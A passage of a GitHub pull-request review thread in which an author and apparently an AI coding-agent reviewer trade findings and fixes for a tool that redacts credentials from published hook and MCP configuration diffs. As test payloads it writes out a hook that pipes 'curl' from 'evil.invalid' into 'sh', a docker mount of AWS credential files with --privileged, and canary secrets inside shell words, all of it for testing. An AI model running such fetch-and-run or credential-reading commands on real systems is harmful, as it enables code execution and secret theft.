  • test_a_credential_named_as_written_after_a_collapsing_prefix_reaches_no_route. It uses your three canaries and finds none in any of these outputs: diff text, diff --json, verify text, the PR comment, verifier.json, every artifact under --out, check text and audit --host --json.

The CHANGELOG, STABILITY and PR-description examples (--no-password <redacted> <redacted>, Authorization: <redacted> <redacted>) are now true after either prefix. STABILITY also says that every as-written word is read, and gives both prefixes as examples.

C3-851-2: the word after a credential word was replaced across ;, | and && (fixed)

  • _credential_kinds takes a starts_command test.
  • _script_command_words reports, for each script word, whether a ;, &, |, newline, parenthesis or backtick comes before it. It checks only the text between words, which holds only whitespace and separators, so each character is read once.
  • Both the as-written and the redacted readings start again at each command.

No digest redaction is lost. The string rule has already run on the whole script and still replaces what it reads across a separator. The tests pin this: tool --token |X → tool --token <redacted>, --token &X → --token <redacted>, and --token + newline + X → X is <redacted>.

Results:

  • The docker → podman SessionStart edit now reads SessionStart: command bash -c 'gh auth token | docker login ghcr.io -u me --password-stdin; ./scripts/sync.sh' → bash -c 'gh auth token | podman login …'. test_a_changed_command_after_a_credential_word_is_named_on_every_route checks this on diff --json, verifier.json, diff text, verify text, the PR comment and check text, with no "no difference in the matcher".
  • echo token:; ./notify.sh, gh auth token; ./deploy.sh, gh auth token && docker compose up, (echo token:) && ./run.sh, tool --api-key; ./run.sh and echo Authorization: Basic; ./run.sh → echo Authorization: <redacted>; ./run.sh are new SCRIPT_WORD_SHAPES cases. Each is checked in a hook command and in MCP args.

The claim "never hides the commands after it" is kept, with two changes in docs/host-boundary-support.md and the CHANGELOG:

  • It is limited to the script of a POSIX shell that is itself the command.
  • It now says what the digest's string rule still takes across a separator.

Nonblocking

  • P3 sudo/env/pwsh (documented; reading unchanged). I did not change _shell_script_index. Skipping sudo or env would mean parsing their options (sudo -u root -E, env -i A=1 -S …) to find the shell, and a guess there changes which rules read a word. STABILITY now states the header consequence next to the assignment one: sudo bash -c "echo token: ok; curl … | sh" publishes echo token: <redacted>, and so does a non-POSIX pwsh -c script. docs/host-boundary-support.md and the CHANGELOG say the same. Two new cases in test_a_shell_script_publishes_the_commands_after_its_assignments pin this.
  • P3 top-level operators (fixed with C3-851-2). In a hook command, a word that contains only control operators (|, ||, &&, ;, &, a parenthesis) starts a new command. gh auth token | docker login ghcr.io now publishes auth token | docker login ghcr.io, where it used to publish auth token <redacted> docker …. This applies only to hook commands: an MCP server's args are not run by a shell, and the digest's list rule redacts whatever follows token, | included. test_an_operator_argument_after_a_credential_name_stays_redacted_as_the_digest_has_it pins ["auth", "token", "<redacted>", "docker"] against _redact_secret_values.
  • P3 quadratic JWT pattern and the TOKEN=$(cat t) run display: unchanged, as before.

Tests run

Against the previous engine (84d2c44a's host_grants.py swapped in), 20 of the new cases fail. On this head:

  • tests/test_hook_mcp_detail_fields.py: 238 passed.
  • After the rebase: test_hook_mcp_detail_fields, test_partial_host_comparison, test_distribution_surface_parity, test_host_diff_review_changes, test_host_audit, test_host_config_replay, test_cold_start_replay, test_unread_changed_inputs, test_local_contract, test_public_surface_contract, test_claude_hook_loading_evidence, test_install_hooks, test_host_input_recovery, test_host_diff_entry_docs and test_host_boundary_unread_surfaces: 1589 passed, 1 skipped. The host-config and cold-start replays reproduce their run-of-record scores.
  • Doc-reading, schema and instruction tests: 1247 and 643 passed. ruff is clean.

Two local failures come from the environment and also fail at 84d2c44a:

  • test_codex_boundary_check::test_codex_check_boundary_json_golden_outputs: the local interpreter is Python 3.14, and its TOMLDecodeError text differs.
  • 7 cases in test_release_source.py: hatchling is not installed locally.

CI runs the full suite.

@pengfei-threemoonslab pengfei-threemoonslab left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Independent coding-agent review/address cycle 4 at 215e1adc.

Not mergeable yet: three findings block merge. Both cycle 3 findings, and every earlier blocking finding, are fixed at this head. CI is green, and rows, row counts, digests and saved baselines are unchanged. The three new findings are these:

  1. A credential after a named flag is published when it sits inside a quoted word that is not the command's own -c script.
  2. A reorder combined with a hidden edit reads "the same handlers in a different order".
  3. Long hook entries now push other rows, the change count and the review question out of the PR comment.

Every value below comes from a synthetic two-commit repository run through ./shipgate on this head and on origin/main 8269922b, or from calling this head's helpers directly.

  1. P2: inside a quoted word that is not the command's own -c script, the -u, --pass, --secret-key and token rules do not run, so the credential is published on every route.

    • Evidence. One repository adds these hooks and one MCP server:
      • docker exec app sh -c "curl -u admin:c4canaryA https://x.invalid" (a changed Stop hook)
      • ssh deploy@host "tool --pass c4canaryB" (SessionStart)
      • sudo bash -c "tool --secret-key c4canaryC; ./run.sh" (SessionEnd)
      • {"command":"docker","args":["exec","app","sh","-c","gh auth login token c4canaryD"]}
    • Result. Each canary appears once in each of these outputs: diff text, diff --json, verify --format text, pr-comment.md, verifier.json, check --format text and audit --host --json. On main each appears 0 times.
      • For example, the head prints Stop: command ./notify.sh → docker exec app sh -c 'curl -u admin:c4canaryA https://x.invalid' and SessionStart (command ssh deploy@host 'tool --pass c4canaryB').
      • Called directly, the same happens with kubectl exec pod -- sh -c "tool --pass X", ssh host "tool --aws-secret-access-key X", and a nested bash -c "bash -c 'curl -u admin:X …'".
      • Control: the same words at the top level, or directly in the command's own bash -c "…", publish admin:<redacted>, --pass <redacted> and --secret-key <redacted>.
      • Inside such a word, only the digest's string rule catches a flag's value (--token, --password, --passphrase, --client-secret, --access-token). The rules the display adds do not.
    • Cause.
      • _shell_script_index (core/host_grants.py:1231) recognises a script only when the command itself (argv0, or the MCP command) is a POSIX shell.
      • Every other word that holds several words goes through _published_word's one-word path (_word_published(_detail_label(word)), line 1577 onward). That path runs no next-word scan and no -u rule over the words inside it.
      • A quoted word inside a script is also published as one word, so the gap repeats one quoting level down.
      • The digest input keeps each value too, so no row is lost; the output publishes more than the docs say it does.
    • Docs.
      • docs/host-boundary-support.md says without qualification that "the value after a credential-named flag [is] published as <redacted>".
      • The CHANGELOG lists --secret-key X, --pass X and "the password of -u user:password" among the values that are <redacted>.
      • The sudo, env and pwsh limit in the CHANGELOG, STABILITY and host-boundary-support names only the header consequence and the assignment consequence. It does not say that these values are published, and it does not cover docker exec … sh -c, ssh host "…" or a nested script.
    • Fix.
      • Preferred: build secrets and passwords from the as-written shell words of every published word that holds whitespace, at every quoting level, as _published_script already does for the command's own script. Leave out the assignment-value rule. This stops the class rather than one more shape.
      • Or: state the limit exactly in the CHANGELOG, STABILITY, docs/host-boundary-support.md and the PR description. Inside any other word that holds several words, only the string, header, quoted-assignment and generated-key rules run, so -u admin:X, --pass X, --secret-key X and token X there publish X.
      • Add the four canaries above to a route test.
  2. P2: a reorder combined with an edit the handlers do not show reads "the same handlers in a different order", which is false.

    • Evidence. Two cases, each one PreToolUse group with two handlers:
      • The handlers tool a b c d e f g h ./checks/safe.sh and bin/lint.sh become bin/lint.sh and tool a b c d e f g h ./checks/evil.sh. The changed word is past the 8-word bound.
      • The handlers bin/a.sh and bin/lint.sh (async: false) become bin/lint.sh (async: true) and bin/a.sh.
    • Result. In both cases diff text, review.changes[].change in diff --json, pr-comment.md, verifier.json and check text print PreToolUse: the same handlers in a different order.
      • Control: the same hidden edit without the reorder correctly prints PreToolUse: no difference in the matcher, type, command summary or timeout; the change is in a detail this output does not show, such as a command argument past the first 8, ….
      • On main both cases read PreToolUse → PreToolUse: content-free, but not false.
    • Cause. _handler_changes (core/capability_diff_rows.py:891–893) says "the same handlers" whenever the published handler JSON is the same multiset. But published handlers are redacted, cut at 80 characters, limited to 8 words, and leave out settings such as async. Equal published handlers therefore never establish equal handlers, which the no-difference sentence already recognises.
    • Fix.
      • Word the reorder so that it does not claim sameness. For example: the published handlers in a different order; a detail this output does not show may also differ, such as …, reusing the no-difference sentence's clause, including its past-the-bound handling.
      • Update the STABILITY, CHANGELOG and PR-description quotes to match.
      • Add both cases above as tests.
  3. P2: long hook entries push other rows, the change count and the review question out of the PR comment.

    • Evidence, one hook. One PreToolUse hook has three handlers, each with eight long --optN=… words, all changed. In the same file an allow: Bash(curl:*) is added and a deny: Bash(rm -rf:*) is removed.
      • On main, pr-comment.md lists all 3 rows and Review question: Does the team intend these 3 declared capability changes? (2,909 characters).
      • On this head (5,997 characters) it lists the hook row and the ⚠ medium / added heading without its value. Then it stops with … additional human summary detail omitted; see report.md.
      • The deny removal, What this run established, the count and the review question are gone. This manifest-free route writes no report.md; that pointer was already wrong on main.
    • Evidence, realistic sizes. Eight changed hooks with two handlers each, about 420 characters per entry, plus the same two permission rows:
      • The head's comment drops both permission rows, the count and the review question.
      • main lists all 10 rows. verifier.json still holds all 10 on the head.
    • Cause.
      • host_comparison_lines (report/host_comparison.py:604–616) prints each entry as one unbounded line.
      • _truncate_markdown_lines (report/pr_comment.py:1184) cuts at the first line that does not fit in _COMMENT_MAX_CHARS (6,000). One long entry therefore hides every row after it, not just itself.
      • Rows before this change were short, so the cap came into play only past about 30 rows.
    • Fix.
      • In the Markdown projection, give each entry line a bounded share of the budget (cut with …, and name verifier.json), or fall back to the row's before → after for an entry that does not fit. Every row heading, the count and the review question must stay in the comment.
      • Add a test: long hook entries plus a permission removal and addition. Every row and the review question appear in pr-comment.md, within _COMMENT_MAX_CHARS.

Nonblocking (P3):

  • A line continuation after a named flag publishes the value.
    • curl --token \ followed by a newline and then hunter2 publishes --token <redacted> hunter2, since the \ is taken as the value.
    • curl -u \ followed by a newline and then admin:hunter2 publishes the password.
    • The same happens inside a bash -c script and in MCP args. This is rare in JSON, easier to write in TOML.
  • An unquoted URL swallows the separator. curl https://x.invalid/?a&b&c&d; echo … publishes curl https://x.invalid/ echo …: the digest's URL rule takes ;, so the next command reads as curl's argument. Display only.
  • The PR description's test numbers are stale. It says tests/test_hook_mcp_detail_fields.py has 202 tests, and "Run locally at the review cycle 2 head"; the file has 238 at this head.

Prior blocking findings, re-verified at this head:

  • Cycle 3 (84d2c44a): both fixed. One repository adds the three reported canaries:

    • bash -c "curl https://x.invalid/?a&b&c&d; echo Authorization: Basic LEAKCANARY1" and the --no-password --token LEAKCANARY3 hook.
    • The LEAKCANARY2 MCP bash -c server.
    • These publish echo Authorization: <redacted> <redacted> and t --no-password <redacted> <redacted>.

    The same repository also carries the docker → podman SessionStart edit and the echo token:; ./notify.sh → curl … Stop edit:

    • The canaries appear 0 times across diff text and JSON, verify text, pr-comment.md, verifier.json, check text and audit --host --json.
    • The edits read SessionStart: command bash -c 'gh auth token | docker login …' → bash -c 'gh auth token | podman login …' and Stop: command bash -c 'echo token:; ./notify.sh' → bash -c 'echo token:; curl -s https://evil.invalid/<redacted-path> | sh' on every route.
    • Called directly: TOKEN=a|b|c|d; t --auth -u u:X → t --auth <redacted> u:<redacted>, gh auth token; ./deploy.sh publishes ./deploy.sh, and the top-level gh auth token | docker login ghcr.io keeps its pipe and docker.
  • Cycle 2 and cycle 1: still fixed.

    • echo token: ok; ./notify.sh → echo token: <redacted>; ./notify.sh.
    • -v ~/.aws/credentials:<redacted> evil/img --privileged.
    • --no-password --token X --use-token --api-key Y → --no-password <redacted> <redacted> --use-token <redacted> <redacted>.
    • -uadmin:<redacted>, and https://x.invalid/<redacted-path> for the quote-split URL.
  • Tests fail without the fix. With the parent commit 63971fa6's core/host_grants.py swapped into this tree, all 20 new cycle 3 unit cases fail: the as-written tails behind each collapsing prefix, the separator shapes, and the top-level operator splits.

Verified:

  • Issue fixtures. On main, matcher, command and timeout read PostToolUse → PostToolUse, and pin reads docs: no difference in the command name npx, …. On this head, diff text, verify text and pr-comment.md read PostToolUse: matcher Edit → Edit|Write|Bash; command bin/lint.sh → curl -s https://example.invalid/<redacted-path> | sh; timeout 10 → 600 and docs: args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest.
  • Output safety. Control characters and newlines in a published command are escaped in text output (\x0a, \x1b). The PR comment keeps entries in code spans inside list items, not tables, so | is safe.
  • Grant equality. Grant equality and digests go through compared_grant only. Expansion signals, _link_rows (permission rules only) and the org summary (counts only) are unaffected.
  • Schemas and docs.
    • The v0.7 baseline schema differs from v0.6 only in version, title and description.
    • The CHANGELOG ## Unreleased is above ## 1.1.0, and 1.1.0 is byte-identical to e3c6cb0c.
    • scripts/generate_schemas.py --check exits 0, and scripts/build-llms-full.py leaves no diff.
    • ruff check src tests scripts is clean.
  • Local tests.
    • tests/test_hook_mcp_detail_fields.py: 238 passed.
    • 54 test files, 3,162 tests collected, with one failure, tests/test_codex_boundary_check.py::test_codex_check_boundary_json_golden_outputs. It fails the same way on main under this machine's Python 3.14 (TOMLDecodeError line and column).
    • The files are the 12 this PR edits, every test file that references host grants, capability diff rows, the host-grants schemas or the new helpers, the host-config, cold-start and oracle-control replays, the public surface contract, the entry docs, partial comparison and manifest-free rows.
  • CI: green on 215e1adc (run 35865101562): suite 1–3, test, coverage, verify, verify-self, both launchers and both mcp extras. release-tag-consistency was skipped.

Stop publishing command and argument text. Four review cycles each found
a credential inside free-form shell text that a redaction rule missed (a
quoted word, a -c script, a separator, a here-document), and cycle 4
found another: a -u, --pass, --secret-key or token value inside a quoted
word that is not the command's own script. Redacted shell text cannot be
made safe by adding rules, so per the PM decision of 2026-09-23 none of
it is published on any surface.

- A hook handler's command is now {executable, sha256}: the last path
  segment of its first word, only when that is a plain token no
  redaction rule rewrites and not a shell reserved word (otherwise
  <not-shown>), and the SHA-256 of the whole command as config_sha256's
  input holds it. The type, env_keys, argv0 and args members are gone.
- An MCP server grant publishes package, at most one argument of a
  strict npm, PyPI or OCI shape that follows no flag but a package
  runner's own, and args_sha256, the digest of every argument with the
  package replaced by a marker, in place of args and omitted_args.
- The matcher keeps the published-label redaction; a non-string matcher
  is <not-shown>. A timeout written as text is published only as a plain
  token.
- Every free-text redaction rule this change had added is removed: the
  word, script, header, -u, flag-value and generated-key rules and the
  command splitter. The digest's assignment-rule lookahead stays.

The members remain display only: each is a function of the
configuration as config_sha256's input holds it, grant equality and the
inventory digests leave them out, and a saved baseline holds none of
them.

A reorder of the published handlers now reads "the published handlers
in a different order; a detail this output does not show may also
differ, such as ...". Equal published handlers never establish equal
handlers, since a setting such as async is not published.

The PR comment no longer loses rows to one long entry. Its bound cut at
the first line that did not fit, so a long hook entry hid every later
row, the change count and the review question. An entry is now printed
whole when the whole comment fits, and otherwise cut to the widest of
480, 240 and 120 characters at which it does, with a pointer to
verifier.json. A comment written without a readiness report now points
to verifier.json instead of a report.md that route does not write.

Rows, row counts and digests are unchanged. diff --json on the 80
vendored benchmark cases gives byte-identical rows beside e3c6cb0, and
the seven content-free hook and MCP entries there now name their field.
The README and quickstart answers are the published 1.1.0 ones again.
STABILITY, the CHANGELOG entry, the host-boundary, contract, index,
distribution-surface and pilot-ledger docs, the v0.7 schemas and
llms-full.txt describe the smaller surface.
@pengfei-threemoonslab

Copy link
Copy Markdown
Contributor Author

Addressed review cycle 4. New head e980f742, one commit on 215e1adc. No rebase was needed: origin/main (d8552df5) is already an ancestor.

Per the PM scope decision of 2026-09-23, this PR no longer publishes any command or argument text. Finding 1 is closed by that change rather than by one more rule, and findings 2 and 3 are fixed.

1. P2, a credential inside a quoted word that is not the command's own -c script: fixed by publishing no command or argument text.

  • What changed. A hook handler's command is now {executable, sha256}:
    • executable is the last path segment of the first word, only when it is a plain token ([A-Za-z0-9._+-], at most 80 characters) that no redaction rule rewrites and not a shell reserved word. Otherwise it is <not-shown>.
    • sha256 is the digest of the whole command as config_sha256's input holds it.
  • An MCP grant's args/omitted_args became package and args_sha256:
    • package is at most one argument of a strict npm, PyPI or OCI shape, unchanged by both redaction rules, following no flag but a package runner's own.
    • args_sha256 is the digest of every argument, with the package replaced by a marker.
  • Every free-text rule this PR had added is deleted (_published_word(s), the -c script scanner, header, -u, flag-value and generated-key rules, _command_words). That removes about 870 lines from core/host_grants.py.
  • Kept: the published-label redaction for the matcher, and the digest's assignment-rule lookahead. The label redaction now applies only to a string matcher; a non-string matcher is <not-shown>.
  • Evidence. test_no_command_or_argument_text_reaches_any_output_or_artifact puts your four canaries in one repository, together with every payload from cycles 1–3 and plain non-credential argument words:
    • docker exec app sh -c "curl -u admin:… ", ssh deploy@host "tool --pass …", sudo bash -c "tool --secret-key …; ./run.sh", MCP ["exec","app","sh","-c","gh auth login token …"];
    • kubectl exec pod -- sh -c, a nested bash -c "bash -c '…'";
    • the P3 line-continuation and URL-separator shapes.
  • It asserts that none of them appears in any of these outputs:
    • diff text and JSON, verify text and every file verify wrote (pr-comment.md and verifier.json among them);
    • check text and agent-boundary-json, audit --host --json;
    • a drift payload against a baseline saved at the base, and a saved baseline.
  • It also asserts what is published instead: executables bash, curl, docker, ssh, sudo, … or <not-shown>; 64-hex digests; and a package only for api-mcp@2.0.0. --pass hunter-…@1.2.3 and --token tok-…@1.2.3 publish no package.

2. P2, a reorder combined with a hidden edit read "the same handlers in a different order": fixed.

  • A reorder now reads PreToolUse: the published handlers in a different order; a detail this output does not show may also differ, such as another hook setting or a redacted or shortened matcher or timeout. It never claims sameness (capability_diff_rows._hook_change).
  • Your async case is test_a_reorder_says_a_detail_it_does_not_show_may_also_differ_on_every_route. It covers diff text and JSON, verify text, the PR comment, verifier.json and check text, and asserts the same handlers is absent from the diff text.
  • Your past-the-8-word-bound case no longer matches as a reorder at all. The digest covers the whole command, so it reads PreToolUse: handler 1 command changed (tool sha256:… → lint.sh sha256:…); handler 2 command changed (lint.sh sha256:… → tool sha256:…) on every route. That is test_a_reorder_with_a_command_edit_past_the_old_word_bound_names_both_commands.
  • The no-difference sentence no longer names a command argument or word: the command is digested whole.

3. P2, long hook entries pushed rows, the count and the review question out of the PR comment: fixed.

  • New report.host_comparison.with_entries_in_room renders the comment with every entry whole. When that does not fit, each entry line is cut to 480, then 240, then 120 characters, the first bound at which the whole comment fits. A cut entry ends in … and (shortened here; `verifier.json` holds the whole entry).
  • The coverage block still gets only the room left (with_coverage_in_room). Both comment styles use it.
  • On a route with no readiness report, the omission line now points to verifier.json instead of report.md.
  • Evidence. test_long_hook_entries_leave_every_row_and_the_review_question_in_the_pr_comment is parametrized with 3 and 2 handlers per event. Each case has eight changed hooks with long matchers, an added allow: Bash(curl:*) and a removed deny: Bash(rm -rf:*).
    • All 10 row headings, both permission entries and Review question: Does the team intend these 10 declared capability changes? are in pr-comment.md, which stays within 6,000 characters (5,918 in the 3-handler case). No omission line is printed.
    • verifier.json keeps every hook entry whole.
    • With MARKDOWN_ENTRY_MAX_CHARS forced to (None,), the test fails: the comment is cut before the advisory line.

Nonblocking.

  • Line continuation after a named flag, and an unquoted URL swallowing a separator: no command text is published, so neither can publish anything. Both shapes are in the canary test.
  • PR description: rewritten for the new surface, with this cycle's measurements.

Also re-measured on this head (2026-09-23).

  • The 80 vendored host-config and cold-start cases, run through diff --json on e3c6cb0c and this tree:
    • Rows are byte-identical on all 80.
    • 23 entries on 22 cases changed.
    • The 7 changed hook/MCP entries that were content-free now name their field, for example mcp-outline: package mcp-outline==1.10.0 → mcp-outline==1.10.1, PreToolUse: handler 2 timeout 30 → 120, and jarvis: launch arguments changed (sha256:c5aaf27e194b → sha256:e79d1577b22b).
    • One case's command starts with if, which is why shell reserved words name no executable.
  • The pilot ledger's route-readiness fixture, rerun beside e3c6cb0c:
  • README and quickstart answers. The README is back to main's text, and the quickstart's quoted answers match main's: the billing server declares no package of the strict shape, so its entry is the published 1.1.0 one again. The quickstart notes the post-1.1.0 behaviour in one sentence.

Not changed, on purpose. An MCP server's endpoint (the command name 1.1.0 already publishes) is untouched. It is a shipped, compared field. Changing how it is derived would move rows against committed 0.6 baselines, and STABILITY's rules govern that change, so it is not folded into this PR.

Docs. STABILITY.md (summary and the #819 migration note), the CHANGELOG ## Unreleased entry, docs/host-boundary-support.md, docs/agent-contract-current.md, docs/INDEX.md, docs/distribution-surfaces.md with its parity-test comment, the contract comment, the regenerated v0.7 schemas and llms-full.txt all describe the smaller surface. ## 1.1.0 is untouched.

Tests run locally.

  • 88 test files: every file that references host grants, capability diff rows, host comparison, the host-grants schemas or the PR comment, plus the host-config and cold-start replays, the oracle controls, the entry docs and test_codex_boundary_check.py. Result: 4,104 passed, 4 skipped and 2 failed.
    • tests/test_schema_roundtrip.py::test_check_mode_passes_on_current_repo failed only because I regenerated a schema docstring while the run was in progress. It passes on rerun.
    • tests/test_codex_boundary_check.py::test_codex_check_boundary_json_golden_outputs fails the same way on an export of origin/main under this machine's Python 3.14 (TOMLDecodeError line and column), as your review noted.
  • Re-run after the final edits: tests/test_hook_mcp_detail_fields.py (113 tests), tests/test_host_diff_review_changes.py, the entry-docs, docs-links, pilot-ledger, distribution-surface and public-surface tests, and tests/test_schema_roundtrip.py. All pass.
  • No replay.json was re-recorded.
  • ruff check src tests scripts is clean.
  • scripts/generate_schemas.py --check exits 0.
  • scripts/build-llms-full.py leaves no diff.

@pengfei-threemoonslab pengfei-threemoonslab left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Independent coding-agent review/address cycle 5 at e980f742.

Not mergeable yet: two findings block merge. Both are small. First, a hook command whose first word is a URL publishes the URL's host as executable, where STABILITY says a URL is never named. Second, when only the base side of a hook is outside the documented shape, the row says the declaration is malformed while the head's declaration is well formed and its handlers are published.

The scope decision holds at this head: no command or argument text reaches any output I checked. All three cycle 4 findings, and every earlier blocking finding, are fixed. CI is green. Rows, row counts, config_sha256 values, the inventory digest and saved baselines are unchanged from main.

Every value below comes from a synthetic two-commit repository run through ./shipgate on this head and on origin/main 8269922b, or from calling this head's helpers directly.

  1. P2: a URL as a hook command's first word publishes the URL's host as executable, though STABILITY says a URL is never named.

    • Evidence.
      • A Stop hook changes from bin/notify.sh to http://deploy:hunter2@build-cache.corp.internal?token=abc123 x.
        • diff prints Stop: command changed (notify.sh sha256:091252764676 → build-cache.corp.internal sha256:649aa3f6c65c).
        • audit --host --json publishes "executable": "build-cache.corp.internal".
        • The password and the token appear 0 times.
      • Called directly, _hook_command publishes these executables:
        • https://evil.invalid → evil.invalid
        • https://evil.invalid?token=abc → evil.invalid
        • http://user:pw@secret-host.internal → secret-host.internal
      • Control: a URL with a path, such as the test's https://hooks.example.invalid/secret-path/run.sh, gives <not-shown>.
    • Cause. _hook_command (core/host_grants.py) takes the last / segment of the first word after _sanitize_sensitive_string has run. The sanitizer drops a URL's userinfo, query and path. What remains is scheme://host, and its last segment is the host.
      • Under the rule the docs state, the last path segment of the first word as written, user:pw@secret-host.internal and evil.invalid?token=abc are not plain tokens, so they would be <not-shown>.
      • So this publishes command text other than argv[0]'s basename.
      • Only a host is published, and the engine already publishes hosts for URL endpoints. Nothing here is a credential. What fails is the documented surface.
    • Docs.
      • STABILITY (the #819 note, "What a hook publishes") says: "otherwise it is <not-shown>, as for a leading NAME=value assignment, a word a blank leaves inside an open quote, a shell reserved word such as if, or a URL."
      • The _hook_command docstring says: "a URL is never named".
      • The CHANGELOG and docs/host-boundary-support.md describe the rule as the last path segment of the first word. Under that rule, http://user:pw@host and https://host?token=x would not be named.
    • Fix.
      • In _hook_command, name no executable when the first word, as written or sanitized, contains ://. This is one condition next to the reserved-word test.
      • Add https://evil.invalid, https://evil.invalid?token=abc and http://user:pw@secret-host.internal to test_the_executable_is_a_plain_token_or_not_named, each expecting <not-shown>.
  2. P2: when only the base side of a hook is outside the documented shape, the row says the declaration is malformed, although the head's declaration is well formed.

    • Evidence. .claude/settings.json changes from {"hooks":{"PostToolUse":{"matcher":"Edit","hooks":[…]}}} (an object, which the reader does not establish) to {"hooks":{"PostToolUse":[{"matcher":"Edit","hooks":[{"type":"command","command":"a.sh"}]}]}}.
      • These routes all print PostToolUse: matcher, command and timeout not shown: the declaration is not a list of matcher groups whose hooks are objects: diff text, review.changes[].change in diff --json and verifier.json, pr-comment.md, and check --format text.
      • Meanwhile the head grant publishes handlers: [{"matcher": "Edit", "command": {"executable": "a.sh", …}, "timeout": null}].
      • On main the row reads PostToolUse → PostToolUse: content-free, but not false.
    • Why it matters. The case this hits is a pull request that repairs a hook block that did not load, so that it now runs. The reviewer is told the new declaration is malformed. The new matcher and command, which are the part to review, are not shown.
    • Cause. _hook_change (core/capability_diff_rows.py) returns the shape sentence when either side's handlers is None, without saying which side.
      • test_a_declaration_outside_the_documented_shape_names_the_limit covers only the case where both sides are outside the shape.
      • STABILITY's example row describes only that case too.
    • Fix.
      • When exactly one side is None, name that side and list the other side's handlers as _hook_cell does. For example: PostToolUse: base matcher, command and timeout not shown (the declaration is not a list of matcher groups whose hooks are objects); head handler (matcher Edit, command a.sh sha256:…), and the mirror image when only the head is outside the shape.
      • Add both directions to the shape test.

Nonblocking (P3):

  • The quadratic jwt and database_url patterns in privacy.redact_text can be reached through the matcher, which is the only unbounded text this head sends through the label rule.
    • A 128 KiB matcher of -eyJ repeated makes audit --host take 4.2 s on this head and 0.6 s on main.
    • Called directly, 64 KiB → 128 KiB takes 0.91 s → 3.63 s for -eyJ and 0.86 s → 3.36 s for postgres://a:, a ratio of about 4. That is about 4 minutes per read at the 1 MiB bound.
    • The 13 other repeated shapes I timed are linear.
    • The same patterns are already reachable on main through workflow labels, as the earlier cycles noted, so this adds no capability an author lacks. Still, no GitHub issue tracks the problem, and _LONG_SHAPES has no matcher shape.
    • A matcher over a small bound (such as 1,024 characters) could publish <not-shown> before the label rule runs.
  • A timeout that changes from a number to a string prints the same value twice. "timeout": 5 → "timeout": "5" reads PostToolUse: timeout 5 → 5. The row is correct that something changed, but it shows no difference. Printing a string timeout quoted ("5"), as an empty matcher is, would show it.
  • The package marker can collide. ["-y","pkg@1.0.0","<package>"] → ["-y","<package>","pkg@1.0.0"] gives equal package and args_sha256 values, though config_sha256 differs.
    • The row then reads no difference in the command name npx, launch arguments, …, which is false.
    • This is contrived. Digesting {"args": …, "package_index": i} instead of an in-band marker would remove it.
  • The strict package shape still admits a free plain token in an OCI tag or in npm build metadata.
    • db/admin:S3cretPassw0rd, org/img:npm_… and pkg@1.2.3+hunter2 are published as packages.
    • The label redaction does not know the npm_, glpat- or AIza shapes, so each of those is also published as an executable when it is the command's first word.
    • This is within the shape the scope decision names. It is listed as optional hardening only.
  • "First package-shaped argument" can name something other than the server.
    • uvx --with requests==2.31.0 mcp-foo==1.2.0 → mcp-foo==1.3.0 publishes requests==2.31.0 as the package, so the version change reads only launch arguments changed.
    • ["x@1.0.0","y@2.0.0"] → ["z","y@2.0.0"] reads package x@1.0.0 → y@2.0.0.
    • Both follow the documented rule. They affect readability only.
  • docs/design-partner-pilot-results.md quotes a draft of this PR that never shipped. It still says the grant "carries #819's args: [] and omitted_args: 0". The ledger's next sentence corrects it, but a reader who did not follow the PR will look for fields that do not exist.

Prior blocking findings, re-verified at this head:

  • Cycle 4 (215e1adc): all three fixed.
    • 1. No command or argument text is published. One repository adds every earlier canary as a hook or an MCP server:

      • docker exec app sh -c "curl -u admin:c4canaryA …", ssh deploy@host "tool --pass c4canaryB", sudo bash -c "tool --secret-key c4canaryC; ./run.sh" and the MCP ["exec","app","sh","-c","gh auth login token c4canaryD"];
      • the cycle 3 LEAKCANARY1–3 scripts;
      • sshpass -p hunter2LOCAL, pwsh -c "$env:API_KEY='abcSECRET1'…", and a line continuation after --token;
      • kubectl exec … sh -c, a nested bash -c "bash -c '…'" and a here-document;
      • SendGrid- and Telegram-shaped keys in MCP args.

      None of them appears in diff text or JSON, verify --format text, any file under --out (pr-comment.md, verifier.json, agent-handoff.json, current-control.json), check --format text, check --format agent-boundary-json or audit --host --json. A second repository with fresh canaries also finds none, in audit --host --scope local-static --json, a drift JSON and text payload against a baseline saved at the base, and baselines saved at both commits. That repository puts canaries in:

      • hook commands (quoted words, -c scripts, a here-document, a path segment before the basename, an assignment name, $(…), -u user:pw);
      • a non-plain string timeout, an async value and a prompt handler;
      • MCP args in .mcp.json, .codex/config.toml, .vscode/mcp.json and .cursor/mcp.json;
      • an MCP command path and an env value.
    • 2. Reorders. The async reorder reads PreToolUse: the published handlers in a different order; a detail this output does not show may also differ, … in diff and pr-comment.md. The past-the-old-word-bound reorder names both command changes with their digests.

    • 3. The PR comment bound. Eight changed hooks have three handlers each and 118-character matchers, with an added allow: Bash(curl:*) and a removed deny: Bash(rm -rf:*). The comment (5,960 characters) keeps all 10 rows, both permission entries and Review question: Does the team intend these 10 declared capability changes?. The hook entries end in the shortened marker.

  • Cycles 1–3: the shell-text findings are resolved by the scope decision. Every canary from those cycles is in the repository above, with 0 hits.

Verified:

  • Issue fixtures.
    • On main, matcher, command and timeout read PostToolUse → PostToolUse, and pin reads docs: no difference in the command name npx, env key names or header key names; ….
    • On this head they read PostToolUse: matcher Edit → Edit|Write|Bash, PostToolUse: command changed (lint.sh sha256:d075f5f4772e → curl sha256:a510416cbecc), PostToolUse: timeout 10 → 600 and docs: package example-mcp-server@1.2.3 → example-mcp-server@latest.
    • diff --json rows are byte-identical to main's for all four fixtures and for the canary repository. For all five repositories, check --format agent-boundary-json is byte-identical to main's once the launcher path in the printed commands is normalised.
  • Equality and baselines.
    • config_sha256 values are identical to main's across the 9 grants of the canary repository.
    • A 0.6 baseline saved by main compares with no drift at the same commit and with the same 9 changes at the head. --save-baseline replaces it (status: updated, schema 0.7).
    • A saved 0.7 baseline's hook and MCP grants hold no handlers, omitted_handlers, package or args_sha256. The drift payload's baseline side lacks them, and its current side has them.
  • Output safety. A matcher with an ESC byte, a newline, backticks and | is escaped (\x1b, \x0a) in diff text. In pr-comment.md it stays inside a longer backtick code span.
  • Other hosts. A Codex .codex/hooks.json timeout edit reads PreToolUse: timeout 5 → 50, where main reads PreToolUse → PreToolUse.
  • The digest's assignment rule.
    • Reading the lookahead: every match must consume the whole run of name characters, since what follows the name must be whitespace or =. So adding the possessive lookahead removes no match and adds none.
    • The PR's 20,000-string differential test and the timing tests pass.
